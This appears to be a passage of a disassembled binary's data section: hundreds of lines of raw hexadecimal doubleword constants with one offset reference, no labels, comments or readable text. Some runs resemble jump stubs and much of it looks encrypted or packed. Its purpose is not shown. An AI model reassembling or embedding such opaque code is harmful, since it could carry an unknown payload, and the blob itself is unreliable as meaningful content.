		dd 0C428B28h, 2B144A8Bh, 89F82BC1h, 611C247Ch, 830008C2h
		dd 0F4928C2h, 0FFFFCF85h, 0FFE9E9FFh, 3EBAFFFFh, 0E80009FDh
		dd 14h,	463C25D4h, 8113340Bh, 0C49E4115h, 764E929Ch, 0FF4786ABh
		dd 0AD6DBA66h, 0FA8B6658h, 6B16C081h, 0BE80000h, 1F000000h
		dd 0A60A48CCh, 0F0B2C51Ch, 81607043h, 62F118D9h, 0AE82Bh
		dd 0A57E0000h, 0EB1E9CF0h, 0DB3812D7h, 0BB59615Fh, 9B1B9B6h
		dd 9F31EB81h, 0E2BA09B1h, 8B0EF280h, 0C681FC30h, 2A5210A6h
		dd 5FEE81FCh, 0BF653334h, 4B91F513h, 6294C681h,	56F55D3Ch
		dd 10E960h, 85780000h, 3447457Dh, 90D5D4FFh, 2493CB6h
		dd 7E96C91h, 3A000000h,	4CB7F086h, 8F614CD6h, 0FB8B6600h
		dd 6602E883h, 1B2FC781h, 0CF8B4848h, 1EB81h, 850F0000h
		dd 34h,	0EE860h, 59EF0000h, 994B62A9h, 0FEE49C76h, 0DE99A394h
		dd 860Fh, 665F0000h, 619CA3B8h,	29E9h, 0BFCA8D00h, 66718B72h
		dd 0DC3FF262h, 9638A766h, 838A0CBFh, 0FF65E928h, 85AFFFFh
		dd 79526621h, 42EE943Bh, 3C73C677h, 0D9E9EF14h,	20000000h
		dd 2C0FBE1Dh, 0DF2F82C1h, 0FDBEB6CFh, 36365D54h, 0BCECA4h
		dd 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h,	325277CBh
		dd 9CACACh, 0F7F691B8h,	9382CD64h, 38h,	3Ch, 40h, 94h
		dd 5, 1, 0A28h,	2, 20h dup(0)
		dd offset dword_43DECC+292Ch
		dd 1FF1E9h, 4CFB6800h, 68E905EAh, 68FFFD32h, 5EA4E2Fh
		dd 0FD325EE9h, 4EE668FFh, 54E905EAh, 68FFFD32h,	5EA4F9Eh
		dd 0FD324AE9h, 506068FFh, 40E905EAh, 68FFFD32h,	5EA5119h
		dd 0FD3236E9h, 521B68FFh, 2CE905EAh, 68FFFD32h,	5EA52DAh
		dd 0FD3222E9h, 568368FFh, 18E905EAh, 68FFFD32h,	5EA5716h
		dd 0FD320EE9h, 584068FFh, 4E905EAh, 68FFFD32h, 5EA5B7Bh
		dd 0FD31FAE9h, 5EF668FFh, 0F0E905EAh, 68FFFD31h, 5EA62CDh
		dd 0FD31E6E9h, 643268FFh, 0DCE905EAh, 68FFFD31h, 5EA6498h
		dd 0FD31D2E9h, 64E368FFh, 0C8E905EAh, 68FFFD31h, 5EA653Dh
		dd 0FD31BEE9h, 660F68FFh, 0B4E905EAh, 68FFFD31h, 5EA6762h
		dd 0FD31AAE9h, 687A68FFh, 0A0E905EAh, 84FFFD31h, 8592BE98h
		dd 80AFA181h, 82A9A797h, 9EA5AB8Bh, 1FA6AA90h, 30063068h
		dd 30043318h, 3A1A3318h, 3F1F0916h, 0E3369011h,	0C69FA91Dh
		dd 80AFE716h, 7059A589h, 7A52A535h, 0EF390654h,	866A01CFh
		dd 8DEACF87h, 8AC95CF0h, 249065B9h, 52C692ECh, 990B11B9h
		dd 0AB61F27Ch, 37h, 3C6A353Fh, 4CA0DF1Eh, 0DBB40149h, 0D0C95CFEh
		dd 7EC6BB87h, 8C692FEh,	0C35D4743h, 7061F272h, 0CA9B6D48h
		dd 4F98C692h, 0CACEB207h, 0F4C5C692h, 0CBCCB9h,	52860000h
		dd 5E06547Ah, 0A6F4D4F1h, 1C226847h, 0A18CEF3Eh, 327D4179h
		dd 0A5E22A1Ah, 75E2A810h, 95AABC3h, 0FFC3FB26h,	36015DAEh
		dd 0B19E3016h, 0F977B696h, 98217D35h, 7BEE593Ch, 0B3285F38h
		dd 1537C375h, 18301F31h, 21CFE836h, 0AE4F6A7Ch,	0CBC95CAEh
		dd 539956FAh, 0FBBD18B2h, 0F8CCB8E0h, 0B77F27AFh, 0A4F49E62h
		dd 0D44D95C8h, 65CA8969h, 9FF23102h, 0F9A5AB93h, 679A4541h
		dd 0D33A0024h, 9702178Bh, 9317954h, 1F311094h, 6378D070h
		dd 1D4Eh, 0F55B63A9h, 0F25E7CAEh, 8C5C7CA5h, 884064A7h
		dd 894777A3h, 0EDD58D24h, 0E9D463EDh, 0F7D463EDh, 0FAD279D7h
		dd 1DB574D4h, 9FAE30B8h, 96C033C6h, 0FA566452h,	0F55B7BADh
		dd 2FEE02D5h, 0FEB912A7h, 7BB6C95Ch, 15216C52h,	4697F6C4h
		dd 0FE3F8578h, 8249C692h, 72841C04h, 174061F2h,	1E000001h
		dd 0A50BAE56h, 0BEC692CAh, 0CA20886Dh, 0D223C692h, 7A52C793h
		dd 0F1390654h, 0E29365B0h, 4790C375h, 97B82876h, 0F55291B5h
		dd 0C375E7C2h, 0DDA3763Eh, 2FC375E7h, 75E7268Ah, 3EC3DC3h
		dd 8C9CF332h, 8F99A6AAh, 4DB01AA6h, 597C2051h, 0C3752BD7h
		dd 61B283ECh, 0BDEAB51Dh, 0CD235E9Dh, 72B986C8h, 0C3B5004Ah
		dd 0C0C3752Bh, 9B3EB4F7h, 0C95C3F42h, 75FBDE86h, 0EC6923Fh
		dd 3C0DFE3Dh, 0FC3F92AAh, 63BF9F8Bh, 5526300Ah,	0FF75B0h
		dd 0F34550ECh, 0F0C6921Ah, 7E4048A7h, 0D6F8C920h, 221A012Eh
		dd 71B366C3h, 67B0CCB8h, 0AE12A76Fh, 0A5C8A47Dh, 0F25D1954h
		dd 0AA5AF6C4h, 8D613292h, 0B9F42140h, 58706C5Ah, 0F0C12876h
		dd 1F43910Bh, 0F4E74370h, 1C1Ah, 0C907377Dh, 0C60A2862h
		dd 0C0083079h, 0DC0C507Bh, 0DD734B77h, 0A1E9C1F0h, 0BDE8B799h
		dd 0A3E8B799h, 0A6E64D83h, 69794880h, 9FACE44Ch, 0DA8CFFC6h
		dd 0E6377D35h, 0EBDDD996h, 5D7DA588h, 4264A4F3h, 7A52DA8Eh
		dd 6F4A7254h, 0C375E299h, 146A499Ah, 0F5DDE12Bh, 624161AAh
		dd 5536F7EEh, 0F9DCF697h, 0C95CEA7Ch, 10A12879h, 85E359A0h
		dd 10878F5Dh, 0B2AEC526h, 220D4596h, 0E3EBCAE8h, 29FC45D6h
		dd 0ED31020Bh, 577F1ED2h, 105EB42h, 61CE8001h, 0DDA30038h
		dd 0D60D36B5h, 0D12B485h, 69153B1Bh, 0FB0DAAD1h, 2B0AF9A2h
		dd 3DE2C4C4h, 3291548Dh, 63DCFF5Bh, 0B400001Bh,	0B5824E88h
		dd 0B09FB191h, 0B299B787h, 8E95BB9Bh, 0F96BA80h, 0C0F62078h
		dd 0C0F42308h, 0CAEA2308h, 0CFEF3906h, 9326A001h, 0C69FAC2Dh
		dd 5283F726h, 3A72547Ah, 0A7E28EC1h, 704EAD5Fh,	0D2F49957h
		dd 5C55FAC7h, 0A2AEFFC9h, 0E7057E23h, 0AC09AC26h, 50CCBB5Dh
		dd 0E00C43D8h, 0C0237CF9h, 0E7AF2273h, 0A696D58h, 0E9885EADh
		dd 899DA280h, 2C9421A9h, 2710F5C5h, 4E897D6h, 0A36C4901h
		dd 0B81ADCC9h, 7874136Fh, 62B89C8Bh, 5903A0Bh, 103A28A6h
		dd 0ACAC95BAh, 0BC9AFC51h, 1952362h, 98BEEEC1h,	0B01A6B42h
		dd 0B799BDEFh, 0E19EA0E8h, 439C57BBh, 0AB2EAD85h, 0CC00001Ah
		dd 0CD5AF6C0h, 0C857F9D9h, 0CA51FFDFh, 0C66DE3C3h, 476EE2D8h
		dd 84E7830h, 84C7BC0h, 72527BC0h, 775771DEh, 0DBFEE8D9h
		dd 0C69FAD55h, 524B3F6Eh, 3A72547Ah, 3DB47D07h,	363E0E89h
		dd 0A23AEF0h, 5B744AA9h, 3813F995h, 24CF9232h, 5E5405D2h
		dd 7740FDEEh, 5AF57A5Fh, 0A1F2C95Dh, 16436AFh, 0F8A02AEBh
		dd 8567657h, 9865C221h,	9DCCBB90h, 0E6BC1D4Ch, 536BD019h
		dd 86A4E69Dh, 4E0051B8h, 2BD5A26Bh, 106EBF61h, 32947977h
		dd 0A5D9AF0Ah, 89DA6D2Bh, 369520AAh, 3367035Ch,	624A3E9Bh
		dd 65B07730h, 77306293h, 0A5F64790h, 0FB2D7254h, 0FE2E75DBh
		dd 2C8723D8h, 0F1491893h, 19E9EAh, 30063200h, 3B1B3318h
		dd 39010E15h, 3D010817h, 3C1A0413h, 0BEF2812Ch,	0B9864A70h
		dd 0B9864A72h, 0B79C4C6Ch, 2A9FB195h, 0B2AB1DB8h, 7DA8C69Fh
		dd 3F6A350Dh, 8BEAC31Fh, 7C4264A4h, 0C6888D63h,	0FD43561Eh
		dd 0F6C375E2h, 30095DA5h, 0C5F1DF24h, 979C01E6h, 859C95Dh
		dd 5C11CDC0h, 0EC6A8490h, 854EB15Dh, 3A8712B4h,	3FCCBBD9h
		dd 10DEE3EEh, 0BECB76ACh, 4B97B791h, 707C0362h,	321A25ADh
		dd 3085D12Ch, 0C04C1E6Fh, 0A8C71B64h, 41094144h, 22F7ACFEh
		dd 0CD821E5Eh, 0F43B0455h, 0D4B5F0D6h, 0C7AAE779h, 86A92172h
		dd 83A8A086h, 0E6F8A589h, 8E792CE1h, 193029B2h,	5D4B0000h
		dd 4248D779h, 5A47EC7Ch, 4641EE62h, 555DEA66h, 0ABDAEB65h
		dd 5DF3CBF7h, 5DF3CBF6h, 5BF5D5F6h, 56FADCCCh, 0D2A67353h
		dd 0D1C69FB3h, 7A52F4A2h, 1162404Ah, 93AB96B9h,	9B516E50h
		dd 728D0FAh, 0C80E3806h, 744A9BF2h, 2C71D615h, 29C95CE3h
		dd 94E5C5C6h, 0C88859B4h, 10192767h, 0AAFBD228h, 1E3E6B54h
		dd 4698E9C0h, 13705D43h, 0B7CA2901h, 0A7725439h, 0CCBB1ADAh
		dd 91A590DFh, 0BB137C4Dh, 8D34BBF3h, 47126719h,	0BBA01EE2h
		dd 0E9C415C8h, 9820D5EAh, 856B5CF0h, 22EBCE80h,	3F56CBD4h
		dd 43CE4EEh, 92E8CD43h,	69DF94EFh, 6A660B35h, 0CBE4DA19h
		dd 44511925h, 660B35FCh, 7FC1A6F7h, 74660B35h, 25F0DA2Bh
		dd 6C23CC46h, 80B81263h, 0EC2E10B5h, 0CDE8E220h, 6813587Bh
		dd 86CC2F78h, 3D8316DEh, 0A8681358h, 0BE8F587Eh, 1638107Fh
		dd 1B3B6D3Ah, 0B4665E66h, 8DCE6A0Fh, 182Eh, 0D57B4349h
		dd 0D27E5C4Eh, 0EC7C5C45h, 0E8604447h, 0E9675743h, 0CDF5ADC4h
		dd 0C9F4438Dh, 0D7F4438Dh, 0DAF259F7h, 7D5554F4h, 9FB0D058h
		dd 0F6A0D3C6h, 6547A52h, 0C8828369h, 602DFEEDh,	20AAFBC9h
		dd 0ED210C1Fh, 27B7D870h, 17764495h, 97B19ED4h,	5E7EA9h
		dd 0A170D829h, 0C69F884Fh, 8A4645AAh, 0B18662DAh, 0FE13DB9h
		dd 84E5391Dh, 328613BBh, 31C69FC6h, 7EAE85E0h, 0F5FBF058h
		dd 701BBE10h, 9CC8A09h,	49E9638h, 0CF4DA371h, 443F9200h
		dd 44E57272h, 9AA56D69h, 7C5392B0h, 7BC0082Eh, 0A72F7353h
		dd 506650FFh, 0A1E92D93h, 96D526C8h, 0D04D91BBh, 7021B812h
		dd 6F5D7EDAh, 88000017h, 8996BA9Ch, 8493BD9Dh, 86ADA39Bh
		dd 82A9A787h, 1BAAA694h, 0CC0A346Ch, 0CC08371Ch, 3616371Ch
		dd 3B1B0D1Ah
		dd 0E7329415h, 0C69FB011h, 2B7E312h, 0FFA72FEEh, 12516550h
		dd 602D26B5h, 7925AC9h,	0C69FA8B1h, 0B10261B2h,	0C7C16E60h
		dd 5D9269E7h, 238114BEh, 31C69FA8h, 8C744109h, 87C69FA9h
		dd 0A90FF1B6h, 0B29AC69Fh, 0B3F2C3ACh, 0C8ADF1C2h, 0C69FA963h
		dd 40484E1Dh, 61EF3FD0h, 0C7F7220Dh, 0EA5392FBh, 44h, 2EED02FCh
		dd 0E2AB11A4h, 57A0C375h, 0E2CEB60Bh, 93B8C375h, 8A73EDF7h
		dd 255167D9h, 15000000h, 75E253D8h, 0B3529EC3h,	0FF79BE1Bh
		dd 0DF87C95Ch, 92FE76FAh, 0AA3C0DC6h, 92FEB90Fh, 0A69BAC6h
		dd 20E068B9h, 1F3F6A35h, 4A4BA1DCh, 0C8EC3F00h,	17D4E1EDh
		dd 5CC95CEBh, 0C8C02F73h, 25F0CDF8h, 0C692EB53h, 0E5360750h
		dd 0EACCDC6Bh, 0B104CC94h, 0C692EBCFh, 55B8FBC4h, 0A6116D6Dh
		dd 701A327h, 0DA652927h, 0BF92D1F1h, 9D2406Dh, 2F56A78Dh
		dd 28BCF4DEh, 0F23A0769h, 58774BAAh, 61D9F194h,	4919AA2Ch
		dd 37B91C20h, 0CCC6925Ch, 1B5392E3h, 0BB5769BEh, 818897CCh
		dd 260FF1C4h, 3B04C8BBh, 0F4BC94EAh, 0ABFB4BA0h, 0B20362B3h
		dd 4840EF61h, 0F2A51866h, 0E93062BBh, 2FD8FEh, 0F0D92509h
		dd 684E5EB5h, 0EECED966h, 56A48883h, 13383477h,	0FEC91539h
		dd 6FC78FAFh, 0E011E414h, 239AFC2Dh, 0C224889Fh, 43774BAAh
		dd 7D35FE98h, 0E4E0BC4Dh, 341B5A32h, 311E3214h,	0B09F3717h
		dd 0D75B086h, 0F3D3FA45h, 601F5EAFh, 0F4C1898Ch, 4D585613h
		dd 0D6F6D118h, 0D656D58Ch, 1A6B9DD9h, 1F3F6936h, 9DA1E8B7h
		dd 350D6841h, 0A3FFDFCAh, 0D015B5D4h, 0A2715C4Fh, 0D50AB3D5h
		dd 0F624192h, 817391Dh,	0C7E03E00h, 57626429h, 40B7D406h
		dd 5127F2BAh, 524CA7D5h, 512201h, 1B2963C8h, 3195212Ch
		dd 0F777C5C0h, 27892CA6h, 3C4CA70Fh, 14BC82D3h,	0AF11A46Ch
		dd 0A44CA70Fh, 0F2A9E5Bh, 0D8294CA7h, 0FB83C9Dh, 2D9E5CA7h
		dd 290D1FADh, 13331827h, 5226F3BBh, 515CA70Fh, 92DD2500h
		dd 244896A4h, 6FD1E4ACh, 645CA70Fh, 189D81Bh, 864A6AA3h
		dd 83EE66DEh, 7B90D359h, 0CEF0D538h, 44A5F9C1h,	0F1D8277Bh
		dd 0A72691EDh, 0A4848123h, 2A0A1D22h, 0BAB6F5D4h, 1F7C28Ah
		dd 8B5CA760h, 31BFA076h, 634C1D66h, 0A1F82D00h,	0A707AC14h
		dd 556A75Ch, 0B3529E39h, 0DFCC531Bh, 7B63AFFh, 7C4D5CA7h
		dd 0E360B501h, 0F0568E0Eh, 15002FA7h, 0B18CDD21h, 18BE2D51h
		dd 644A40EFh, 99F43716h, 97BCAC8Ch, 54D91B5h, 0CF0785Dh
		dd 0A2F366CCh, 1A3C6C43h, 1F20A0C4h, 0D6C02F0Fh, 70B39AE0h
		dd 0C1CB5961h, 0E47C53FDh, 0E0C21FA0h, 33h, 597952E2h
		dd 8A955D05h, 0D5CA280h, 75E2C0A8h, 0B3F2C3C3h,	0F723E00Ch
		dd 0CEEBFBC7h, 0C375E27Ah, 8EDF2879h, 974F1C4h,	1061C95Dh
		dd 2E7F38h, 35AB0000h, 0C41E3C6Ah, 0B10EF11Dh, 0EDC02362h
		dd 693698B8h, 0EF3E1C3Ch, 0D715B28Ch, 0C8399C36h, 5CC95C84h
		dd 7755C8E4h, 0A9843B38h, 85458BD4h, 0AE4245E4h, 65D2E7EFh
		dd 0ABC95CEAh, 5CA28484h, 0C5D2E0Dh, 0CCE9915Dh, 0C692EA64h
		dd 6ACF2E7Fh, 0BDCFF186h, 0D6F89D53h, 0C6F15AC3h, 8CC61733h
		dd 664569A3h, 0AC717F18h, 303C9F3Ah, 0E435C9DCh, 6B4B5DE2h
		dd 684E5EE5h, 0B6113FB3h, 0D289A16Ah, 13C6h, 7DD3EBD1h
		dd 7AD6F4D6h, 74D4E42Dh, 70D8FC2Fh, 71DFFF2Bh, 555D15ACh
		dd 515CEB65h, 4F5CEB65h, 725AE16Fh, 85CDFC6Ch, 9FB44830h
		dd 6E584BC6h, 75E350D8h, 4E4F9DC3h, 0C6F35C04h,	4E9FBFE8h
		dd 7DDA1970h, 0C95D132Ch, 562E58D0h, 4FDB811h, 0A7725429h
		dd 0C6927DD1h, 1EB081D2h, 0EB371731h, 632BA382h, 81E8CEDCh
		dd 725BA787h, 0EFCFDC33h, 20F5BD61h, 0C6927D58h, 0E7270A5Bh
		dd 5392FBC7h, 330F2F7Ch, 3DE2C4C4h, 6A354BD3h, 3396C51Dh
		dd 44000013h, 45D27E58h, 40EF6141h, 42E96757h, 5EE56B4Bh
		dd 0DFE66A50h, 0F0C6F0A8h, 0F0C4F358h, 0FADAF358h, 0FFDFC956h
		dd 0A3765051h, 0C69FB5DDh, 2F3A7D6h, 12A72FEEh,	0C95D1209h
		dd 72DDF5C6h, 49D67A58h, 0AD557D5Dh, 92D2A008h,	897F5AC6h
		dd 8AC692D2h, 5C9FE8B9h, 13331562h, 80B6E0CFh, 74444DBAh
		dd 0ED311135h, 3A8402C9h, 19AB2FBCh, 0A2232D0Dh, 997A73FAh
		dd 27340C36h, 0CB2AB4CFh, 724363AAh, 0EFCEEE3Fh, 56A48A80h
		dd 92BF1EE3h, 7016C9C6h, 83A3E8B7h, 79594DA0h, 0F6172FD7h
		dd 4A3C781h, 594DA083h,	668A2579h, 16002FA7h, 0F4CAF03Eh
		dd 6D694495h, 879F3148h, 6961B2CCh, 0AF8F9EA1h,	2615540h
		dd 15A0FD2Fh, 0C8A41EA3h, 0CA0657A0h, 430B2B7Dh, 0B195B49Bh
		dd 0A41E0CF4h, 0AF8F99C8h, 58A97A53h, 668A251Dh, 0CF672FA7h
		dd 0B2FF7E6Dh, 0D55B48Ah, 0FA39A9FDh, 0B1E18D1Dh, 51794AC2h
		dd 50F8DECEh, 0A1FDC1CBh, 1F3F6E31h, 4A4BA1DCh,	0E820B500h
		dd 0F35CD8E0h, 0C7B4F7C7h, 0DFE909F6h, 0B277BF0h, 120950h
		dd 10261200h, 1B3B1338h, 19216E35h, 1D216837h, 1C3A6433h
		dd 9ED2E1CCh, 99A6AA90h, 99A6AA92h, 97BCAC8Ch, 0ABF91B5h
		dd 0BA8B7D58h, 9D88C69Fh, 0E24FD82Dh, 0D1FAC375h, 4CA05FF1h
		dd 0F2B40149h, 0C9602Ch, 0F0D4F758h, 12E643AAh,	11C69FA8h
		dd 3FAF76C9h, 0DD2E1186h, 2D5820F5h, 0A5BC69Fh,	41095A2Bh
		dd 0C189B1FEh, 370B337Eh, 895997D6h, 59827AEAh,	1A54A68h
		dd 351C0000h, 3D01216Ah, 0FCF291ECh, 0E2E35560h, 97E0C375h
		dd 0FABCC34Fh, 5AABB481h, 220D356Ch, 0E9C4EAh, 0C375E2BBh
		dd 0B189B679h, 2614026Dh, 49A0F1D8h, 0C4257941h, 0D35CFFBh
		dd 0FBC7F722h, 0D650EF9Bh, 2A7BA4E9h, 0A32E9FCBh, 33080278h
		dd 0E0EA3B1Bh, 16361738h, 75E2EF51h, 8185E4C3h,	230C5DA1h
		dd 315596C0h, 1216A35h,	4D4E9F22h, 0CF0F3A05h, 0F5B9AF3h
		dd 8AEA1C32h, 5A6AD982h, 52h, 0ABCC3870h, 393D2DEBh, 802ECFAh
		dd 0A709AC54h, 0BCC375E2h, 0E2229653h, 0D021C375h, 0D35D387h
		dd 26BBAC35h, 9AFFC7E7h, 9E7BBA4Ch, 0C3751829h,	35E9DD2Eh
		dd 216A3511h, 91EC3D01h, 114575A2h, 0D350E44h, 75E2C0A8h
		dd 0B3F2C3C3h, 6730h, 8026600h,	0E5360633h, 289025EDh
		dd 2BC375E2h, 35CF9BDAh, 16033D6Ah, 0A0F1D826h,	0F33C735Ah
		dd 5796F7CBh, 0DFC8571Fh, 6B4AA3FFh, 75E2398Eh,	5278C7C3h
		dd 4C9D310Ch, 3111351Ah, 9A19CEDh, 65521135h, 6A356155h
		dd 0EA5E7B20h, 0E9C375E2h, 1A734F98h, 30F8E2DBh, 93303478h
		dd 9D5A9A82h, 0C375D32Bh, 0CA9CDF28h, 0A1AE7D35h, 0D52D3118h
		dd 40A3AFA3h, 0D9594BD5h, 26196Ah, 2AD0000h, 35BA28EBh
		dd 75E21BE0h, 9BCF18C3h, 0D351135h, 75E2C0A8h, 0B3F2C3C3h
		dd 7A684E5Ch, 1D3E0E44h, 68000000h, 0BA28EB02h,	0E21BE035h
		dd 8D9C375h, 8DADF946h,	4D1D58B1h, 78521135h, 0E446C5Ah
		dd 65226A35h, 75E2E850h, 499AEBC3h, 0FE526B6Ah,	2BFFFFFh
		dd 98A72FEEh, 7A53AFAFh, 7766B33Bh, 0CC9602Dh, 9B84AB23h
		dd 250A40A3h, 760DC3E3h, 0E5309A79h, 0C69FA813h, 6FBC710h
		dd 0C69FA8B4h, 772E06CEh, 0F2753CEBh, 0CDCD9CDFh, 31153718h
		dd 0CAA19CEDh, 61EF625Ah, 306Ah, 5CD87C00h, 0C9C375E2h
		dd 0AD51FFDFh, 0E268D0E5h, 46BC375h, 8EDF231Bh,	14997EBDh
		dd 0DFC375E2h, 7F5A0C11h, 0C95CEA5Eh, 15C60A5Bh, 0D4h
		dd 3C6A3545h, 0D5F7C01Eh, 735CADF1h, 0BE5F8D30h, 56AE1C14h
		dd 5CD45C79h, 9EEFC375h, 95D4AF44h, 70B91C56h, 0DC95DA7h
		dd 8085AA3Ch, 7D4E6CBEh, 0B37B23D3h, 92079266h,	0E34091C6h
		dd 0C692071Dh, 8BE6C516h, 435CA282h, 0D3E6E8ADh, 0CC87C884h
		dd 45EAFCCDh, 43E86040h, 7B146A4Ah, 9B3E9075h, 0C2B215E0h
		dd 0D7064199h, 7E5C62A8h, 318DD72Fh, 6B8D4C98h,	56A79DA7h
		dd 0AAE24D05h, 8A50D8FDh, 0B53D2C9h, 62B8BE75h,	0D3FBC4F0h
		dd 0C9A372C6h, 0D72071D2h, 0D4FAD279h, 9EDD127h, 9C3F1B76h
		dd 0ECEh, 75DBE329h, 72DEFC2Eh,	0CDCFC25h, 8C0E427h, 9C7F723h
		dd 6D550DA4h, 6954E36Dh, 7754E36Dh, 7A52F957h, 9D35F454h
		dd 9FB9B038h, 1640B3C6h, 5F4A7A52h, 0E7D02E7Fh,	29BD81A5h
		dd 5C24F1B9h, 57C375E2h, 12B42706h, 98B096B6h, 27892CD4h
		dd 3CC375E2h, 8B0590D3h, 0B967D98Ah, 3Fh, 0E44C6911h, 0FFC375EAh
		dd 21B4FAEh, 0FFA72FEEh, 0E21EE237h, 0C415C375h, 0EE9F00E9h
		dd 0B54C95Ch, 0FEC0C837h, 0E3C3C552h, 0CFB253EBh, 1471A083h
		dd 22CEE9D9h, 0BD4E6B63h, 3ACCBA66h, 52A367E9h,	0A9F65A78h
		dd 2A755D7Dh, 0A39FDEFCh, 75E273DEh, 93ADFEC3h,	0A38385BBh
		dd 0E13D0E5Fh, 0DA91BF88h, 7A5F7716h, 0C9602D3Fh, 795075B4h
		dd 0C1B59590h, 66B48591h, 866A4F07h, 9DC69FFAh,	0C46B634Ch
		dd 0BD6DE3DBh, 59827AEAh, 0BD83BB68h, 0A497029h, 6ADEFBD3h
		dd 69C3F577h, 8760DD18h, 7E000001h, 96D5F5D1h, 37EC02C0h
		dd 83EA3014h, 8E2018B2h, 684EC17Eh, 35BB2F0Eh, 2003236Ah
		dd 9F3AE2AAh, 0C375E229h, 11D59CA3h, 8C5DFF81h,	12E740A3h
		dd 0D6C3753Dh, 11355307h, 3578A32Eh, 0E2C0A80Dh, 8BC3C375h
		dd 75E25A2Eh, 3F0859C3h, 6845C1FCh, 231557Ah, 0F8CE21EBh
		dd 34C5BA87h, 88E73016h, 0E5FA383h, 1C32893Dh, 0D9828AEAh
		dd 435A6Ah, 26C0000h, 0FF415408h, 0F4C375E2h, 674744ABh
		dd 0F5E1321Bh, 0E21BE035h, 0CF18C375h, 76FADF87h, 0DC375E2h
		dd 35E9C13Ch, 4B655211h, 0A62C7D41h, 6A350E44h,	0F03F0323h
		dd 4BA6F7C7h, 0BC3F7E5Eh, 5Fh, 3D6A35EAh, 81E8C11Dh, 3847A686h
		dd 0F5DCC9CEh, 42D0300Dh, 0F7CB14C9h, 220D4596h, 90F9C5F5h
		dd 0E0350555h, 0C375E21Bh, 163416D9h, 82D3F3DBh, 216A35D4h
		dd 0E0A82201h, 0ACCBA748h, 8CEF96E5h, 8B7D35DAh, 4D8DB5FAh
		dd 0D9C61871h, 45A88B60h, 535625Ch, 8C99D039h, 2E7F4EACh
		dd 0EA0E44B8h, 6AD9828Ah, 2D5Ah, 0EB026C00h, 0E035BA28h
		dd 0C375E21Bh, 359BCF18h, 8977347Dh, 0B618D894h, 751F9D63h
		dd 664596C3h, 7852B86Ch, 0E446C5Ah, 373Eh, 0EB026800h
		dd 7D35BA28h, 85269207h, 0C6F03FC4h, 6043AAF0h,	8A9DA26Ah
		dd 0CC7C54AAh, 1E886346h, 0A700634Ch, 0C375B8D2h, 3593C716h
		dd 44785211h, 0CF1E7C5Ah, 0E44C8FEh, 0FFFE5F3Eh, 6A3568FFh
		dd 9C230220h, 0B0054D50h, 0C9602D2Dh, 0D27D55A6h, 4874D4FAh
		dd 0BC82BAE7h, 7C730E6Dh, 51A29A81h, 0A8D45C79h, 9EEFC69Fh
		dd 0A80DFD40h, 4F77C69Fh, 0A84E3287h, 6A45C69Fh, 0F1CC1D3Dh
		dd 172FD8FEh, 4F6A9E93h, 0C69F78F9h, 0D551A9FAh, 9F0A6937h
		dd 61EEB805h, 15C7h, 5CD88300h,	0C9C375E2h, 0A651FFDFh
		dd 0BBh, 6B4B43ECh, 0EE025E08h,	2E9F6D26h, 75E5258Bh, 95ED3EC3h
		dd 97E03EE4h, 53519A3Fh, 1D6EC95Ch, 88A1EAB5h, 0D7FD9932h
		dd 222E7F6Ah, 0CA103015h, 745E3FADh, 879432A1h,	646EBFCCh
		dd 7ED2F2DBh, 99A1E9B6h, 2A096445h, 0AC87C8E1h,	8BFEC9CCh
		dd 70185DB3h, 99EACD54h, 0CEC62A45h, 62F218B9h,	8EB5F400h
		dd 40557D4Eh, 0C2B2F50Dh, 6428A79Fh, 5042849Dh,	7F57A015h
		dd 7AD6F8D0h, 26DBFB2Dh, 760B31DAh, 53A13A16h, 0A400000Bh
		dd 0A5F25E78h, 0A08F4161h, 0A2894777h, 0BE854B6Bh, 3F864A70h
		dd 0D0E6D088h, 0D0E4D378h, 0DAFAD378h, 0DFFF2976h, 8316B071h
		dd 0C69FBC3Dh, 5293C736h, 5E06547Ah, 0AAF0C8F1h, 1B0D6043h
		dd 18C3E73Bh, 0D4FAD27Eh, 8AFD9774h, 55CF67D9h,	9B000000h
		dd 0BF847D35h, 8738A759h, 32D319A4h, 1B0C3D98h,	0B889C95Ch
		dd 6F4A7262h, 0C69DE399h, 2466499Ah, 0C0C82706h, 0C3C552FEh
		dd 0EC009FE3h, 56F9A129h, 3B8D2869h, 38C69DE3h,	69409EEFh
		dd 7D866811h, 0BCFFFD57h, 0B4A212DBh, 745EAFCCh, 0FFC3E32Bh
		dd 0C1814FAEh, 0F65A7852h, 75E24223h, 0F4D4F1C3h, 4C519F54h
		dd 2D0FBF1Ah, 0BB84C960h, 3B030C13h, 0ABD16915h, 2DD3FA8Fh
		dd 44452971h, 32630C00h, 7AEAE7F3h, 4A685982h, 1B7h, 3D6A351Ch
		dd 0D7201403h, 53AFAF98h, 66843B7Ah, 0D3533A7h,	351FA835h
		dd 4A5D8E03h, 7DDA196Ah, 0C375E688h, 5DD5FD4Ch,	0D88EE6AFh
		dd 0C397D6FDh, 6A351135h, 240A003Ch, 58A6F7D6h,	2CA33271h
		dd 240802F7h, 4F6AF1B1h, 0C375BBF9h, 2251A9FAh,	0FDE93A5Bh
		dd 7D152D55h, 5C9140ECh, 0DD6162C2h, 2C7D49D9h,	7D3599D1h
		dd 3A1602B7h, 1AA984EEh, 846C49D3h, 1C375CBh, 0F0D92505h
		dd 0A60AAF27h, 0BDC375CBh, 9832036Ch, 60AE94B7h, 0D435095Ah
		dd 1C32C199h, 0D9828AEAh, 2F5A6Ah, 26C0000h, 35B92D08h
		dd 75E21BE0h, 9BCF18C3h, 65521135h, 1E7C404Bh, 358DF7CFh
		dd 0C8B49E98h, 0E44CBFFh, 1E3C6A35h, 0CB8AE9C0h, 4Bh, 2D08021Fh
		dd 187D35B9h, 332E35D7h, 1ABF3776h, 0C375F595h,	0FDD9C46Bh
		dd 596D48A1h, 0D35DA88h, 0F1D5EB22h, 53BC8DD1h,	0EBFF3E0Fh
		dd 1216A35h, 0A291EC3Dh, 450D4575h, 75E28870h, 0D1A772C3h
		dd 0D2C375E2h, 84E73081h, 0EA0E44D2h, 6AD9828Ah, 455Ah
		dd 6A356C00h, 9F220121h, 3A054D4Eh, 0E4F23111h,	0E21BE035h
		dd 0CF18C375h, 220D359Bh, 0F1E9C4EAh, 6C5A7852h, 3C6A35h
		dd 94D72016h, 5E3E3BAFh, 74000000h, 0E287694Ch,	0CA9CC375h
		dd 75E219EFh, 0F8C91AC3h, 0D352DBDh, 0F4CAE822h, 0E268D095h
		dd 1A6BC375h, 4645A4DBh, 0CAEA230Ch, 5695F4h, 0EB220D35h
		dd 3C96F7CBh, 75E21799h, 0E0C32CC3h, 75E2B207h,	33864EC3h
